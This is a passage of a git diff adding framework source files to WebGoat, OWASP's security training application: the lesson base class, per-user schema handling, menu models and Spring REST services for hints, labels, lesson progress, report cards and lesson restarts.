getClass().getName(); + return className.substring(className.lastIndexOf('.') + 1); + } + + /** + * Gets the category attribute of the Lesson object + * + * @return The category value + */ + public Category getCategory() { + return getDefaultCategory(); + } + + /** + * getDefaultCategory. + * + * @return a {@link org.owasp.webgoat.container.lessons.Category} object. + */ + protected abstract Category getDefaultCategory(); + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public abstract String getTitle(); + + /** + * Returns the default "path" portion of a lesson's URL. + * + *

+ * + *

Legacy webgoat lesson links are of the form "attack?Screen=Xmenu=Ystage=Z". This method + * returns the path portion of the url, i.e., "attack" in the string above. + * + *

Newer, Spring-Controller-based classes will override this method to return "*.do"-styled + * paths. + * + * @return a {@link java.lang.String} object. + */ + protected String getPath() { + return "#lesson/"; + } + + /** + * Get the link that can be used to request this screen. + * + *

Rendering the link in the browser may result in Javascript sending additional requests to + * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson + * selected by the user. Thanks to using the hash mark "#" and Javascript handling the clicks, the + * user will experience less waiting as the pages do not have to reload entirely. + * + * @return a {@link java.lang.String} object. + */ + public String getLink() { + return String.format("%s%s.lesson", getPath(), getId()); + } + + /** + * Description of the Method + * + * @return Description of the Return Value + */ + public String toString() { + return getTitle(); + } + + public final String getId() { + return this.getClass().getSimpleName(); + } + + public final String getPackage() { + var packageName = this.getClass().getPackageName(); + // package name is the direct package name below lessons (any subpackage will be removed) + return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", ""); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java new file mode 100644 index 000000000..3b90c963d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java @@ -0,0 +1,38 @@ +package org.owasp.webgoat.container.lessons; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.sql.Connection; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +/** + * Handler which sets the correct schema for the currently bounded user. This way users are not + * seeing each other data and we can reset data for just one particular user. + */ +@Slf4j +public class LessonConnectionInvocationHandler implements InvocationHandler { + + private final Connection targetConnection; + + public LessonConnectionInvocationHandler(Connection targetConnection) { + this.targetConnection = targetConnection; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + var authentication = SecurityContextHolder.getContext().getAuthentication(); + if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) { + try (var statement = targetConnection.createStatement()) { + statement.execute("SET SCHEMA \"" + user.getUsername() + "\""); + } + } + try { + return method.invoke(targetConnection, args); + } catch (InvocationTargetException e) { + throw e.getTargetException(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java new file mode 100644 index 000000000..9a56859ba --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java @@ -0,0 +1,20 @@ +package org.owasp.webgoat.container.lessons; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * LessonInfoModel class. + * + * @author dm + * @version $Id: $Id + */ +@Getter +@AllArgsConstructor +public class LessonInfoModel { + + private String lessonTitle; + private boolean hasSource; + private boolean hasSolution; + private boolean hasPlan; +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java new file mode 100644 index 000000000..2b956a6b7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java @@ -0,0 +1,162 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.lessons; + +import java.util.ArrayList; +import java.util.List; + +/** + * LessonMenuItem class. + * + * @author rlawson + * @version $Id: $Id + */ +public class LessonMenuItem { + + private String name; + private LessonMenuItemType type; + private List children = new ArrayList<>(); + private boolean complete; + private String link; + private int ranking; + + /** + * Getter for the field name. + * + * @return the name + */ + public String getName() { + return name; + } + + /** + * Setter for the field name. + * + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * Getter for the field children. + * + * @return the children + */ + public List getChildren() { + return children; + } + + /** + * Setter for the field children. + * + * @param children the children to set + */ + public void setChildren(List children) { + this.children = children; + } + + /** + * Getter for the field type. + * + * @return the type + */ + public LessonMenuItemType getType() { + return type; + } + + /** + * Setter for the field type. + * + * @param type the type to set + */ + public void setType(LessonMenuItemType type) { + this.type = type; + } + + /** + * addChild. + * + * @param child a {@link LessonMenuItem} object. + */ + public void addChild(LessonMenuItem child) { + children.add(child); + } + + @Override + public String toString() { + StringBuilder bldr = new StringBuilder(); + bldr.append("Name: ").append(name).append(" | "); + bldr.append("Type: ").append(type).append(" | "); + return bldr.toString(); + } + + /** + * isComplete. + * + * @return the complete + */ + public boolean isComplete() { + return complete; + } + + /** + * Setter for the field complete. + * + * @param complete the complete to set + */ + public void setComplete(boolean complete) { + this.complete = complete; + } + + /** + * Getter for the field link. + * + * @return the link + */ + public String getLink() { + return link; + } + + /** + * Setter for the field link. + * + * @param link the link to set + */ + public void setLink(String link) { + this.link = link; + } + + public void setRanking(int ranking) { + this.ranking = ranking; + } + + public int getRanking() { + return this.ranking; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java new file mode 100644 index 000000000..0ce6b660a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java @@ -0,0 +1,40 @@ +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2014 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + * + */ + +package org.owasp.webgoat.container.lessons; + +/** + * LessonMenuItemType class. + * + * @author rlawson + * @version $Id: $Id + */ +public enum LessonMenuItemType { + CATEGORY, + LESSON, + STAGE +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java new file mode 100644 index 000000000..e21baef30 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java @@ -0,0 +1,42 @@ +package org.owasp.webgoat.container.lessons; + +import java.io.IOException; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.regex.Pattern; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.stereotype.Component; + +@Component +@Slf4j +public class LessonScanner { + + private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$"); + + @Getter private final Set lessons = new HashSet<>(); + + public LessonScanner(ResourcePatternResolver resourcePatternResolver) { + try { + var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*"); + for (var resource : resources) { + // WG can run as a fat jar or as directly from file system we need to support both so use + // the URL + var url = resource.getURL(); + var matcher = lessonPattern.matcher(url.toString()); + if (matcher.matches()) { + lessons.add(matcher.group(1)); + } + } + log.debug("Found {} lessons", lessons.size()); + } catch (IOException e) { + log.warn("No lessons found..."); + } + } + + public List applyPattern(String pattern) { + return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java new file mode 100644 index 000000000..6393de391 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java @@ -0,0 +1,18 @@ +package org.owasp.webgoat.container.service; + +import lombok.RequiredArgsConstructor; +import org.springframework.context.ApplicationContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController("/environment") +@RequiredArgsConstructor +public class EnvironmentService { + + private final ApplicationContext context; + + @GetMapping("/server-directory") + public String homeDirectory() { + return context.getEnvironment().getProperty("webgoat.server.directory"); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/HintService.java b/src/main/java/org/owasp/webgoat/container/service/HintService.java new file mode 100644 index 000000000..d9ee5be25 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/HintService.java @@ -0,0 +1,57 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +package org.owasp.webgoat.container.service; + +import java.util.Collection; +import java.util.List; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Hint; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * HintService class. + * + * @author rlawson + * @version $Id: $Id + */ +@RestController +public class HintService { + + public static final String URL_HINTS_MVC = "/service/hint.mvc"; + private final WebSession webSession; + + public HintService(WebSession webSession) { + this.webSession = webSession; + } + + /** + * Returns hints for current lesson + * + * @return a {@link java.util.List} object. + */ + @GetMapping(path = URL_HINTS_MVC, produces = "application/json") + @ResponseBody + public List getHints() { + Lesson l = webSession.getCurrentLesson(); + return createAssignmentHints(l); + } + + private List createAssignmentHints(Lesson l) { + if (l != null) { + return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList(); + } + return List.of(); + } + + private List createHint(Assignment a) { + return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java new file mode 100644 index 000000000..c91aeb1ae --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java @@ -0,0 +1,96 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.Map; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.LabelDebugger; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LabelDebugService class. + * + * @author nbaars + * @version $Id: $Id + */ +@Controller +@Slf4j +@AllArgsConstructor +public class LabelDebugService { + + private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc"; + private static final String KEY_ENABLED = "enabled"; + private static final String KEY_SUCCESS = "success"; + + private LabelDebugger labelDebugger; + + /** + * Checks if debugging of labels is enabled or disabled + * + * @return a {@link org.springframework.http.ResponseEntity} object. + */ + @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) + public @ResponseBody ResponseEntity> checkDebuggingStatus() { + log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled()); + Map result = createResponse(labelDebugger.isEnabled()); + return new ResponseEntity<>(result, HttpStatus.OK); + } + + /** + * Sets the enabled flag on the label debugger to the given parameter + * + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + * @return a {@link org.springframework.http.ResponseEntity} object. + */ + @RequestMapping( + value = URL_DEBUG_LABELS_MVC, + produces = MediaType.APPLICATION_JSON_VALUE, + params = KEY_ENABLED) + public @ResponseBody ResponseEntity> setDebuggingStatus( + @RequestParam("enabled") Boolean enabled) { + log.debug("Setting label debugging to {} ", labelDebugger.isEnabled()); + Map result = createResponse(enabled); + labelDebugger.setEnabled(enabled); + return new ResponseEntity<>(result, HttpStatus.OK); + } + + /** + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + * @return a {@link java.util.Map} object. + */ + private Map createResponse(Boolean enabled) { + return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LabelService.java b/src/main/java/org/owasp/webgoat/container/service/LabelService.java new file mode 100644 index 000000000..1a8f96720 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LabelService.java @@ -0,0 +1,67 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.Properties; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * LabelService class. + * + * @author zupzup + */ +@RestController +@Slf4j +@RequiredArgsConstructor +public class LabelService { + + public static final String URL_LABELS_MVC = "/service/labels.mvc"; + private final Messages messages; + private final PluginMessages pluginMessages; + + /** + * @return a map of all the labels + */ + @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity fetchLabels() { + var allProperties = new Properties(); + allProperties.putAll(messages.getMessages()); + allProperties.putAll(pluginMessages.getMessages()); + return new ResponseEntity<>(allProperties, HttpStatus.OK); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java new file mode 100644 index 000000000..fcface416 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java @@ -0,0 +1,33 @@ +package org.owasp.webgoat.container.service; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.lessons.LessonInfoModel; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * LessonInfoService class. + * + * @author dm + * @version $Id: $Id + */ +@RestController +@AllArgsConstructor +public class LessonInfoService { + + private final WebSession webSession; + + /** + * getLessonInfo. + * + * @return a {@link LessonInfoModel} object. + */ + @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json") + public @ResponseBody LessonInfoModel getLessonInfo() { + Lesson lesson = webSession.getCurrentLesson(); + return new LessonInfoModel(lesson.getTitle(), false, false, false); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java new file mode 100644 index 000000000..961e10d47 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java @@ -0,0 +1,124 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.lessons.LessonMenuItem; +import org.owasp.webgoat.container.lessons.LessonMenuItemType; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.LessonTracker; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonMenuService class. + * + * @author rlawson + * @version $Id: $Id + */ +@Controller +@AllArgsConstructor +public class LessonMenuService { + + public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc"; + private final Course course; + private final WebSession webSession; + private UserTrackerRepository userTrackerRepository; + + @Value("#{'${exclude.categories}'.split(',')}") + private List excludeCategories; + + @Value("#{'${exclude.lessons}'.split(',')}") + private List excludeLessons; + + /** + * Returns the lesson menu which is used to build the left nav + * + * @return a {@link java.util.List} object. + */ + @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json") + public @ResponseBody List showLeftNav() { + List menu = new ArrayList<>(); + List categories = course.getCategories(); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + + for (Category category : categories) { + if (excludeCategories.contains(category.name())) { + continue; + } + LessonMenuItem categoryItem = new LessonMenuItem(); + categoryItem.setName(category.getName()); + categoryItem.setType(LessonMenuItemType.CATEGORY); + // check for any lessons for this category + List lessons = course.getLessons(category); + lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList(); + for (Lesson lesson : lessons) { + if (excludeLessons.contains(lesson.getName())) { + continue; + } + LessonMenuItem lessonItem = new LessonMenuItem(); + lessonItem.setName(lesson.getTitle()); + lessonItem.setLink(lesson.getLink()); + lessonItem.setType(LessonMenuItemType.LESSON); + LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); + boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson); + lessonItem.setComplete(lessonSolved); + categoryItem.addChild(lessonItem); + } + categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking()); + menu.add(categoryItem); + } + return menu; + } + + private boolean lessonCompleted(Map map, Lesson currentLesson) { + boolean result = true; + for (Map.Entry entry : map.entrySet()) { + Assignment storedAssignment = entry.getKey(); + for (Assignment lessonAssignment : currentLesson.getAssignments()) { + if (lessonAssignment.getName().equals(storedAssignment.getName())) { + result = result && entry.getValue(); + break; + } + } + } + return result; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java new file mode 100644 index 000000000..23fc38da5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java @@ -0,0 +1,57 @@ +package org.owasp.webgoat.container.service; + +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonProgressService class. + * + * @author webgoat + */ +@Controller +@RequiredArgsConstructor +public class LessonProgressService { + + private final UserTrackerRepository userTrackerRepository; + private final WebSession webSession; + + /** + * Endpoint for fetching the complete lesson overview which informs the user about whether all the + * assignments are solved. Used as the last page of the lesson to generate a lesson overview. + * + * @return list of assignments + */ + @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") + @ResponseBody + public List lessonOverview() { + var userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + var currentLesson = webSession.getCurrentLesson(); + + if (currentLesson != null) { + var lessonTracker = userTracker.getLessonTracker(currentLesson); + return lessonTracker.getLessonOverview().entrySet().stream() + .map(entry -> new LessonOverview(entry.getKey(), entry.getValue())) + .toList(); + } + return List.of(); + } + + @AllArgsConstructor + @Getter + // Jackson does not really like returning a map of directly, see + // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json + // so creating intermediate object is the easiest solution + private static class LessonOverview { + + private Assignment assignment; + private Boolean solved; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java new file mode 100644 index 000000000..d1c902880 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java @@ -0,0 +1,34 @@ +package org.owasp.webgoat.container.service; + +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonTitleService class. + * + * @author dm + * @version $Id: $Id + */ +@Controller +public class LessonTitleService { + + private final WebSession webSession; + + public LessonTitleService(final WebSession webSession) { + this.webSession = webSession; + } + + /** + * Returns the title for the current attack + * + * @return a {@link java.lang.String} object. + */ + @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html") + public @ResponseBody String showPlan() { + Lesson lesson = webSession.getCurrentLesson(); + return lesson != null ? lesson.getTitle() : ""; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java new file mode 100644 index 000000000..a01bce5c1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java @@ -0,0 +1,105 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.ArrayList; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.Setter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.LessonTracker; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * ReportCardService + * + * @author nbaars + * @version $Id: $Id + */ +@Controller +@AllArgsConstructor +public class ReportCardService { + + private final WebSession webSession; + private final UserTrackerRepository userTrackerRepository; + private final Course course; + private final PluginMessages pluginMessages; + + /** + * Endpoint which generates the report card for the current use to show the stats on the solved + * lessons + */ + @GetMapping(path = "/service/reportcard.mvc", produces = "application/json") + @ResponseBody + public ReportCard reportCard() { + final ReportCard reportCard = new ReportCard(); + reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); + reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments()); + + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved()); + reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved()); + for (Lesson lesson : course.getLessons()) { + LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); + final LessonStatistics lessonStatistics = new LessonStatistics(); + lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); + lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); + lessonStatistics.setSolved(lessonTracker.isLessonSolved()); + reportCard.lessonStatistics.add(lessonStatistics); + } + return reportCard; + } + + @Getter + @Setter + private final class ReportCard { + + private int totalNumberOfLessons; + private int totalNumberOfAssignments; + private int solvedLessons; + private int numberOfAssignmentsSolved; + private int numberOfLessonsSolved; + private List lessonStatistics = new ArrayList<>(); + } + + @Setter + @Getter + private final class LessonStatistics { + private String name; + private boolean solved; + private int numberOfAttempts; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java new file mode 100644 index 000000000..2f0450d9e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java @@ -0,0 +1,68 @@ +/*************************************************************************************************** + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2014 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + */ + +package org.owasp.webgoat.container.service; + +import java.util.List; +import java.util.function.Function; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.http.HttpStatus; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseStatus; + +@Controller +@AllArgsConstructor +@Slf4j +public class RestartLessonService { + + private final WebSession webSession; + private final UserTrackerRepository userTrackerRepository; + private final Function flywayLessons; + private final List lessonsToInitialize; + + @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text") + @ResponseStatus(value = HttpStatus.OK) + public void restartLesson() { + Lesson al = webSession.getCurrentLesson(); + log.debug("Restarting lesson: " + al); + + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + userTracker.reset(al); + userTrackerRepository.save(userTracker); + + var flyway = flywayLessons.apply(webSession.getUserName()); + flyway.clean(); + flyway.migrate(); + + lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser())); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/SessionService.java 